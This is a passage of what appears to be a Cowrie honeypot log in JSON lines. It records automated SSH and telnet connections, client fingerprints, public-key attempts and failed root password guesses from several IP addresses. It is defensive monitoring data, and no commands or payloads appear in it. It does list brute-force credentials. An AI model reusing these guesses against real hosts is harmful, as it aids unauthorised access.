{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:26:f4:14:c6:1f:79:47:50:6c:7c:49:a6:84:f5:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUaHEQmzyRUEP7NQ6fX5H6KuCaXI8eMS8A1WiaJMeD+Wl0Ikd1WJ7cb3qlTEW8F7tiCqqhgwob0wht4njmS0Q0OxyMxq8tAcI0PyDkuSIS9OdabmQ/5PbQuQzdN7ATD+TU2tLMge7H7j25C6RyBYHJVgsThAYfq/0c4CoOCMk9e6aRjrsFnXNc8CMS0A/bo5e9tYeCzvJijpu6OVV3dtuauJfyOYl4v9LK4qNwmGB6elwsgEmQWC/A/UhQSYkXEfOUlrrCwwRzzniEX/4dwYXvXOi1PukSbIGezCUvMGRdu6bpd8sCeyAifglf8ETLlT9l+zGSH3SG/UCNTpUq8RSb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.538783Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:95:b4:58:04:5d:7a:49:2a:9c:36:c9:88:f4:3f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb6AGjxdtNK8KFKKi0BMxv9evh2+k6fAoAwpYKDgE4nrKzk4GWCQ50Hx0sHpGxl8awOfKicDKUpHV3L0dF8rxLh2+NwxyneDYQ/jtcffCM2buYMwpz2xpuz6H+Clx09pZGDjrF0ppj8yv652U7lGJPm8NyQnxhJPAApJPeHOHWryG2MYMapQznkseOkBpNWByC3Fl9vCo4GiEdJXatQX4CvPsPG7zUkdQHvqPS/YUSC29txOLQb4oOuT9CYsStAE+M9HuHalZg+hjioJS+AtBRcvYQqjka/UyDjz7cbIsLmhZFkqvMqjf3yyRynTLrlvCWSs5lZz2vfUDL4lASxrPvO/VoTX6PWaN3hYKWOf/xhW6ex9iKi5tWRYW1R/XRdhD5AP3juvyMM0rzDZYLBEtKY9qg+4vGSPKbp2c4W9hdwcjWcDUjDxHFdMVZ1sgSQ6PxOcOGFr/A4Zov3A7J+R8eh9lr7p6P2LVSYZ+R3NJzK8u/zQVOyNHMV3U3XpxRjB/6TWG5l5cgfUFuUowt562UKpuo/L64ts1BAHKgk5REn45CnhY3HnsiVTDwrc6BDLQntXS7CBHy2NB71itH9/h3Ey3YI/RODtPkxWDn6J/nZ69vsOCvgVZ4bzhaxlMBE9YFTOzGPB+0WeVAbPeI05xb7mf5Y0y6EVkaQvTniaVwcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:95:b4:58:04:5d:7a:49:2a:9c:36:c9:88:f4:3f:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.622236Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:95:b4:58:04:5d:7a:49:2a:9c:36:c9:88:f4:3f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb6AGjxdtNK8KFKKi0BMxv9evh2+k6fAoAwpYKDgE4nrKzk4GWCQ50Hx0sHpGxl8awOfKicDKUpHV3L0dF8rxLh2+NwxyneDYQ/jtcffCM2buYMwpz2xpuz6H+Clx09pZGDjrF0ppj8yv652U7lGJPm8NyQnxhJPAApJPeHOHWryG2MYMapQznkseOkBpNWByC3Fl9vCo4GiEdJXatQX4CvPsPG7zUkdQHvqPS/YUSC29txOLQb4oOuT9CYsStAE+M9HuHalZg+hjioJS+AtBRcvYQqjka/UyDjz7cbIsLmhZFkqvMqjf3yyRynTLrlvCWSs5lZz2vfUDL4lASxrPvO/VoTX6PWaN3hYKWOf/xhW6ex9iKi5tWRYW1R/XRdhD5AP3juvyMM0rzDZYLBEtKY9qg+4vGSPKbp2c4W9hdwcjWcDUjDxHFdMVZ1sgSQ6PxOcOGFr/A4Zov3A7J+R8eh9lr7p6P2LVSYZ+R3NJzK8u/zQVOyNHMV3U3XpxRjB/6TWG5l5cgfUFuUowt562UKpuo/L64ts1BAHKgk5REn45CnhY3HnsiVTDwrc6BDLQntXS7CBHy2NB71itH9/h3Ey3YI/RODtPkxWDn6J/nZ69vsOCvgVZ4bzhaxlMBE9YFTOzGPB+0WeVAbPeI05xb7mf5Y0y6EVkaQvTniaVwcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.626683Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:46:2c:e4:00:39:c8:0d:24:8d:4b:55:ab:6e:22:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRddM0AbqJKtFg0JP8+hOSQe05Z5EUBgdE/TnISI6nrSd9u5oNdgw8+ByUv/4E6BItFNotlOaI5UX1eDCzvKaAYwkCWkzbAmiVh1ytIxTMOGOUkqEdLYm1VUFromakkTT1yGm65A1ZaeyP4d48S2vXCJu/QmL+r/EJr7JcYc4SmVLnLMA7Ys5XeZvJsZZ5tqElng9qZU1BW57CQRu7VyvgsdCrMwyHcdP7yINl43PyZKXfRpraW4PLva4FCYykOochlx6QRrndgGGCKmPN1c73Bxe9jfyP1Df92LVhxCKXgOJPZbCJdwlGjZnc7Jktcq+AGwGs5qK9MXx/gHR+FdoD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:46:2c:e4:00:39:c8:0d:24:8d:4b:55:ab:6e:22:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.715209Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:46:2c:e4:00:39:c8:0d:24:8d:4b:55:ab:6e:22:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRddM0AbqJKtFg0JP8+hOSQe05Z5EUBgdE/TnISI6nrSd9u5oNdgw8+ByUv/4E6BItFNotlOaI5UX1eDCzvKaAYwkCWkzbAmiVh1ytIxTMOGOUkqEdLYm1VUFromakkTT1yGm65A1ZaeyP4d48S2vXCJu/QmL+r/EJr7JcYc4SmVLnLMA7Ys5XeZvJsZZ5tqElng9qZU1BW57CQRu7VyvgsdCrMwyHcdP7yINl43PyZKXfRpraW4PLva4FCYykOochlx6QRrndgGGCKmPN1c73Bxe9jfyP1Df92LVhxCKXgOJPZbCJdwlGjZnc7Jktcq+AGwGs5qK9MXx/gHR+FdoD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.719364Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/NcNyFOdzS45jN+wEJ3v0/0tAots0bI/hji4t8U73u","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.803905Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/NcNyFOdzS45jN+wEJ3v0/0tAots0bI/hji4t8U73u","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.807846Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:f2:01:5b:18:8f:a0:56:6c:a7:d9:36:07:70:cd:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBmeBKDwHIS1frL3RbrMt+Qer6l0ScVxP4Es7L83n10kQ31FjyBKnY83WStFxxPmT/DulfZD3Z2dJnJr9ch/tVEuGVAH0dYq4VGRI2FM1tNadoT+SQj35OLKQNbUYOxE3uJsxIBSK7hcJWubZvhaqOUZy24aOhgPYeXI+8k7rhTHkQ6ofQfK/3gI2GuKin8dDZ4ajPI1W0HVZkeKcjdBPyQ83fWEGKuEohG61mIzhOFsmRntP5iJE/HEdZF5Hr3AzgaYPQYnzRaUqsy0FbA1NpGU/3M3WQqvITLmlwGjRq3nuKE6yEeCHyC+HO4leDiFTE8MW76K1nl4A6fLDrW9GL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:f2:01:5b:18:8f:a0:56:6c:a7:d9:36:07:70:cd:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.892012Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:f2:01:5b:18:8f:a0:56:6c:a7:d9:36:07:70:cd:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBmeBKDwHIS1frL3RbrMt+Qer6l0ScVxP4Es7L83n10kQ31FjyBKnY83WStFxxPmT/DulfZD3Z2dJnJr9ch/tVEuGVAH0dYq4VGRI2FM1tNadoT+SQj35OLKQNbUYOxE3uJsxIBSK7hcJWubZvhaqOUZy24aOhgPYeXI+8k7rhTHkQ6ofQfK/3gI2GuKin8dDZ4ajPI1W0HVZkeKcjdBPyQ83fWEGKuEohG61mIzhOFsmRntP5iJE/HEdZF5Hr3AzgaYPQYnzRaUqsy0FbA1NpGU/3M3WQqvITLmlwGjRq3nuKE6yEeCHyC+HO4leDiFTE8MW76K1nl4A6fLDrW9GL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.894862Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:58:37.978188Z","src_ip":"208.87.243.125","session":"2ea491a402bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.8.210.103","src_port":51170,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff71fc39ce7","protocol":"telnet","message":"New connection: 87.8.210.103:51170 (10.17.0.5:23) [session: 3ff71fc39ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:22.150078Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"591d6e8c7698","protocol":"ssh","message":"New connection: 147.45.199.80:53818 (159.203.135.109:22) [session: 591d6e8c7698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:26.292032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:26.296572Z","src_ip":"147.45.199.80","session":"591d6e8c7698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:26.395930Z","src_ip":"147.45.199.80","session":"591d6e8c7698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fkg7h4f3v6","message":"login attempt [root/fkg7h4f3v6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:26.682401Z","src_ip":"147.45.199.80","session":"591d6e8c7698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:27.781590Z","src_ip":"147.45.199.80","session":"591d6e8c7698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.422304630279541,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:35.572221Z","src_ip":"87.8.210.103","session":"3ff71fc39ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37606,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f37e000afc","protocol":"ssh","message":"New connection: 193.37.70.224:37606 (10.17.0.5:22) [session: 25f37e000afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:53.532792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:53.537724Z","src_ip":"193.37.70.224","session":"25f37e000afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:53.629122Z","src_ip":"193.37.70.224","session":"25f37e000afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789lol","message":"login attempt [root/123456789lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:53.900391Z","src_ip":"193.37.70.224","session":"25f37e000afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:59:55.021701Z","src_ip":"193.37.70.224","session":"25f37e000afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41090,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2ddf809976","protocol":"telnet","message":"New connection: 69.4.83.194:41090 (159.203.135.109:23) [session: 4e2ddf809976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:06.588564Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35730,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd88cf3af798","protocol":"ssh","message":"New connection: 103.149.28.157:35730 (10.17.0.5:22) [session: cd88cf3af798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:23.886688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:23.893153Z","src_ip":"103.149.28.157","session":"cd88cf3af798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:24.147191Z","src_ip":"103.149.28.157","session":"cd88cf3af798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051992","message":"login attempt [root/12051992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:24.910227Z","src_ip":"103.149.28.157","session":"cd88cf3af798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:26.169420Z","src_ip":"103.149.28.157","session":"cd88cf3af798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.03957509994507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:39.628014Z","src_ip":"69.4.83.194","session":"4e2ddf809976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35676,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b72ca6e84fd","protocol":"ssh","message":"New connection: 62.133.62.83:35676 (10.17.0.5:22) [session: 6b72ca6e84fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:40.605092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:40.610365Z","src_ip":"62.133.62.83","session":"6b72ca6e84fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:40.698892Z","src_ip":"62.133.62.83","session":"6b72ca6e84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nonono","message":"login attempt [root/nonono] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:40.938062Z","src_ip":"62.133.62.83","session":"6b72ca6e84fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:42.026887Z","src_ip":"62.133.62.83","session":"6b72ca6e84fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":23782,"dst_ip":"10.17.0.5","dst_port":22,"session":"a99bdad8a9c2","protocol":"ssh","message":"New connection: 31.42.176.142:23782 (10.17.0.5:22) [session: a99bdad8a9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:45.871222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:00:45.876431Z","src_ip":"31.42.176.142","session":"a99bdad8a9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm